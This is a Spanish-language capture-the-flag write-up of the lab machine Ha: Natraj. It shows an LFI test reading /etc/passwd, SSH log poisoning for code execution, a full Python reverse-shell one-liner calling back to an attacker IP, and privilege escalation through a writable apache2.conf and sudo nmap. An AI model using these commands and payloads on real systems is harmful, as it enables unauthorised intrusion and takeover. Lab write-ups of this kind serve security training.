> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/ha-natraj.md).

# Ha-Natraj

<figure><img src="/files/xGJKiOMliNk66xuHL17n" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.87.80
```

<figure><img src="/files/DYVQzT1LLd6JfkfzvHHO" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 22 y 80. A continuación, realizamos un escaneo más riguroso de estos puertos abiertos.

```
nmap -p22,80 -sVC -vv 192.168.87.80 -oN targeted
```

<figure><img src="/files/dZsm6dTlwOlwp5OzzKX0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/czuO3iyCCNNi7RAIay1z" alt=""><figcaption></figcaption></figure>

Existen 2 puertos abiertos en el equipo target.&#x20;

* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29

#### Enumeración Web

Comenzamos visitando el servicio Web, donde hemos encontrado imagenes e información sobre el Natraj, vamos a comprobar el código fuente y el archivo robots.txt, donde no hay nada útil.&#x20;

<figure><img src="/files/BCNq1RYsQQNeeHvNV7j2" alt=""><figcaption></figcaption></figure>

Vamos a continuar realizando una enumeración de directorios con la herramienta dirsearch.&#x20;

```
dirsearch -u "http://192.168.87.80" -i200,301 -r
```

<figure><img src="/files/LbVjDAmnrgRGhb9c3l1O" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MIjvw2di4xj9BByxiCiw" alt=""><figcaption></figcaption></figure>

Hemos encontrado un directorio llamado /console que contiene un archivo llamado file.php.

Si lo ejecutamos, no hace nada. Probablemente tengamos que añadir algo más.&#x20;

<figure><img src="/files/lGCjpafumu2mkM7nSWo0" alt=""><figcaption></figcaption></figure>

Vamos a utilizar el nombre de archivo en una variable "GET"  para intentar hacer una prueba de concepto que nos permita verificar si el sitio era vulnerable a la inclusión de archivos locales (LFI).

```
curl http://192.168.87.80/console/file.php?file=/etc/passwd  
```

<figure><img src="/files/1sDziuTKkV9QczRsAHd7" alt=""><figcaption></figcaption></figure>

Encontramos los nombres de usuario natraj y mahakal.

Es vulnerable a LFI.&#x20;

### Explotación

Probamos varias opciones de enumeración, entre ellas la enumeración de archivos a los que podemos acceder. Para ello, vamos a utilizar la herramienta Intruder de Burp. Después de unos instantes, obtenemos un resultado que puede ser interesante. Podemos acceder al archiv /var/log/auth.log

&#x20;

<figure><img src="/files/qs2vyPpjptWj2dstN0nf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Ul6XOqwDN3Mu9eYsYXb1" alt=""><figcaption></figcaption></figure>

Sabiendo esto, vamos a intentar realizar un ataque de envenenamiento de logs a través de SSH. El envenenamiento de logs es una técnica que podemos utilizar para obtener un shell inverso en un servidor.&#x20;

Para realizar este ataque comenzamos enviando código malicioso PHP  a través del uso de SSH para que este sea registrado en el archivo auth.log.

<figure><img src="/files/AIxz8NNRTjLyMo4OVmL4" alt=""><figcaption></figcaption></figure>

Comprobamos si la inyección maliciosa ha sido exitosa.

<figure><img src="/files/m5wSNa8JLIHKDBb4NQsB" alt=""><figcaption></figcaption></figure>

Ya podemos ejecutar comandos en la máquina objetivo (RCE).&#x20;

Vamos a ejecutar una shell inversa en la máquina objetivo y a colocar un oyente con netcat en el puerto 80.&#x20;

La shell utilizada es la siguiente:&#x20;

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.90",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

<figure><img src="/files/UBXbcqlQEQhDZV5a1V5i" alt=""><figcaption></figcaption></figure>

Si utilizamos Burp, debemos codificar la shell como URL para que funcione. Si utilizamos el navegador para enviar la shell, se puede colocar directamente.&#x20;

&#x20;

<figure><img src="/files/mbzQrtwCePsCuJjipwgz" alt=""><figcaption></figcaption></figure>

Hacemos la terminal genera más interactiva de la siguiente manera:

```
python3 -c 'import pty;pty.spawn("/bin/bash");'
```

<figure><img src="/files/HMUg735jiyC542aexDTP" alt=""><figcaption></figcaption></figure>

Ya tenemos acceso a la máquina objetivo. Comprobamos si podemos ejecutar sudo y enumeramos los binarios SUID.

```
sudo -l
```

<figure><img src="/files/gKc8y2KyliOBOhXmoN3T" alt=""><figcaption><p>sudo -l</p></figcaption></figure>

Podemos ejecutar comandos relacionados con el servidor Apache.

Vamos a buscar binarios con el flag SUID activo que podaos utilizar para elevar privilegios.

```
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/sfd8e5JImWngGZLnZzvC" alt=""><figcaption></figcaption></figure>

No hay nada interesante. Vamos a buscar todos los archivos de escritura en el directorio.

<figure><img src="/files/QoTcod0r718Z6CQHtkrX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8PIugZST6CI9ynKSpUnn" alt=""><figcaption></figcaption></figure>

Encontramos un archivo interesante, apache2.conf, que tiene permiso completo de lectura y escritura  para cualquier usuario y grupo.

### Escalada de privilegios

Para escalar privilegios a otros usuarios cambiando el nombre de usuario y grupo de apache2.conf. El primer paso será agregar el nombre de usuario y nombre de grupo. Para ello descargamos el fichero en nuestra máquina de ataque.

Creamos un servidor HTTP con Python en la máquina víctima.

<figure><img src="/files/JGWCsTfLYFc8HVqSEfAz" alt=""><figcaption></figcaption></figure>

Y en la máquina de ataque ejecutamos.&#x20;

<figure><img src="/files/4TKp6aplgMyWYholFRlg" alt=""><figcaption></figcaption></figure>

Ahora realizamos en este archivo las modificaciones comentadas anteriormente.&#x20;

<figure><img src="/files/TfrBeVuqNU9G5Kq2Zzi3" alt=""><figcaption></figcaption></figure>

Ahora para volver a subir el archivo a la máquina objetivo volvemos a levantar un servidor HTTP con Python pero ahora el servidor lo levantamos en la máquina de ataque. El archivo debemos colocarlo en el directorio /tmp y desde aquí lo copiamos a /etc/apache2/.

<figure><img src="/files/mT1OGqX9L8YHN2nbWXvZ" alt=""><figcaption><p>Servidor en la máquina de ataque</p></figcaption></figure>

<figure><img src="/files/qnyfIT2Ois2v99eCgrMU" alt=""><figcaption><p>Enviando el archivo apache2.conf modificado al objetivo</p></figcaption></figure>

<figure><img src="/files/F7MZ99iVUvNG3EK00eaW" alt=""><figcaption></figcaption></figure>

Una vez hemos transferido el archivo apache2.conf, procedemos a reiniciar el servidor Apache.&#x20;

<figure><img src="/files/qYJpIELMYSWoAQh5iaLl" alt=""><figcaption></figcaption></figure>

Después de un instante que necesita el servicio para reiniciar, volvemos a lanzar la shell inversa en el puerto 80 de la misma forma que lo hicimos anteriormente. Y volvemos a tener conexión con el objetivo.&#x20;

<figure><img src="/files/3oekcKZXy3y0Mbwk15Oe" alt=""><figcaption></figcaption></figure>

Ahora tenemos conexión en el objetivo como usuario "mahakal". Volvemos a realizar distintas enumeraciones para ver como podemos elevar privilegios.

<figure><img src="/files/DqO19RaqqL7Eo8ARsvu9" alt=""><figcaption></figcaption></figure>

El usuario "mahakal" puede ejecutar el comando nmap como usuario root. Vamos a determinar si podemos utilziar esto para escalar a usuario "root". Para ello, consultamos ["GTFOBins"](https://gtfobins.github.io/gtfobins/nmap/#sudo)

<figure><img src="/files/nc145dbp5rk7mKSqfhqF" alt=""><figcaption></figcaption></figure>

Solo queda buscar ambas flags para completar el CTF Ha: Natraj.

<figure><img src="/files/XQePtUXkApoUEOj90oSJ" alt=""><figcaption><p>Flag proof.txt (root)</p></figcaption></figure>

<figure><img src="/files/t3SHv4B5TsX0MKNugPn3" alt=""><figcaption><p>Flag local.txt (usuario bajos privilegios)</p></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=yCFnBaOcphA>" %}
